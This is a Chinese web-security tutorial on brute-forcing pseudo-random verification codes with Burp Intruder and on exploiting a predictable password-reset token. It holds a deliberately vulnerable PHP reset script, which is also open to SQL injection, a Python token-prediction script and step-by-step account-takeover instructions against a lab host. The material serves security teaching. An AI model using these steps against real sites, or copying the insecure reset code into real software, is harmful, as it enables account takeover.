> 文章列表 > 伪随机码和密码找回漏洞

伪随机码和密码找回漏洞

伪随机码和密码找回漏洞

伪随机码漏洞

伪随机码结构可以预先确定,重复产生和复制,具有某种随机序列的随机特性的序列号。Web开发中伪随机码主要用于确定范围,php中rand()函数可以产生随机数例如:rand(000000,999999),一般是手机验证码

可通过穷举可以绕过

burp–>Intruder–>Sniper–>Payload(Number)

How many: 填写完回车一下

防御方法

设置失败次数,超过次数后数值无效

设置提交时间间隔

密码找回漏洞

为防止用户遗忘密码,网站都会提供密码找回功能,常见方式有:邮箱,密码保护问题,手机号等。在找回密码时,如果除了自己的密码还能找回其他用户的密码,就说明存在密码找回漏洞。它属于逻辑漏洞的一种,占了较大的比例。

(也是测试逻辑漏洞的方法)测试的步骤

熟悉业务流程,对流程中的HTTP请求分析

例子

<?php
include 'init.php';
function create_pass($username,$email){$token=md5(time().$username.$email);return $token;
}
echo ' <meta charset="UTF-8">';if($_GET['c']=='forget'){$username= trim($_POST['username']);$re=mysql_query("select * from member where username='{$username}'");$row = mysql_fetch_array($re);$_email = $row['email'];if($row){echo "<form method='post' action='?c=email'>";echo "用户{$row['username']}存在  请输入用户的邮箱";echo "<input type='text' name='email'/>";echo "<input type='hidden' name='username' value='{$row['username']}'/>";echo "<input type='submit' value='发送key'/></form>";}
}if($_GET['c']=='email'){$username= trim($_POST['username']);$re=mysql_query("select * from member where username='{$username}'");$row = mysql_fetch_array($re);$email= trim($_POST['email']);if($email == $row['email']){$token=create_pass($row['username'],$row['email']);mysql_query("update member set token='{$token}' where id='{$row['id']}'");echo "密码已发送又邮件,请登录邮箱修改密码";}else{echo "邮箱错误 请填写对应的邮箱";}
}if($_GET['c']=='send'){$token = trim($_GET['token']);$re = mysql_query("select * from member where token='{$token}'");$row = mysql_fetch_array($re);if($row){echo "<form method='post' action='?c=pass'>";echo "输入你要修改的密码 ";echo "<input type='text' name='password'/>";echo "<input type='hidden' name='token' value='{$token}'/>";echo "<input type='submit' value='修改密码'>";     }
}if($_GET['c']=='pass'){$token = $_POST['token'];$password =md5(trim($_POST['password']));$re = mysql_query("update member set password ='{$password}' where token = '{$token}'");if($re){echo "修改成功";}else{echo "修改失败";   }
}if($_GET['c']=='login'){echo '<form method="post" action="?c=main">';echo '用户 <input type="text" name="username"><br>';echo '密码 <input type="password" name="password"><br>';echo '<input type="submit" value="登录">';echo '</form>';
}if($_GET['c']=='main'){$username = $_POST['username'];$password = md5($_POST['password']);$re = mysql_query("select * from member where username='{$username}' and password='{$password}'");$row = mysql_fetch_array($re);if($row){echo "{$row['username']} 登录成功";}else{echo "帐号或密码失败";}     
}
if(empty($_GET['c'])){
echo '<form method="post" action="?c=forget">';
echo '<label>请输入你要查询的用户</label>';
echo '<input type="text" name="username">';
echo '<input type="submit" value="找回密码">';
echo '</form>';
}
?>

生成token的关键代码:

function create_pass($username,$email){$token=md5(time().$username.$email);return $token;
}

这里token的生成时可预测的,简单写一个python脚本

import time
import datetime
import hashlibdef md5_time():hl = hashlib.md5()t = int(time.time())username = "admin"email = "moon@moonsec.com"text = str(t) + username + emailhl.update(text.encode(encoding='utf8'))md5=hl.hexdigest()print(str(md5))if __name__ == "__main__":for i in range(60):md5_time()time.sleep(1)

测试python生成的token是否与php相同

<?php
$username = "admin";
$email = "moon@moonsec.com";
$token=md5(time().$username.$email);
echo $token;
?>
  • 先运行python脚本,后更改密码,用户名admin,邮箱moon@moonsec.com
  • 显示发送邮件后,停止python,复制生成的内容作为payload
  • 访问http://www.webtester.com/forget.php?c=send&token=b903af2df8c9d53184cf6c3cb792b296
  • burp抓包用生成的payload穷举token,得到正确的token
  • 访问http://www.webtester.com/forget.php?c=send&token=正确的token,更改密码,然后访问http://www.webtester.com/forget.php?c=login测试登录,可以使用admin+更改的的密码登录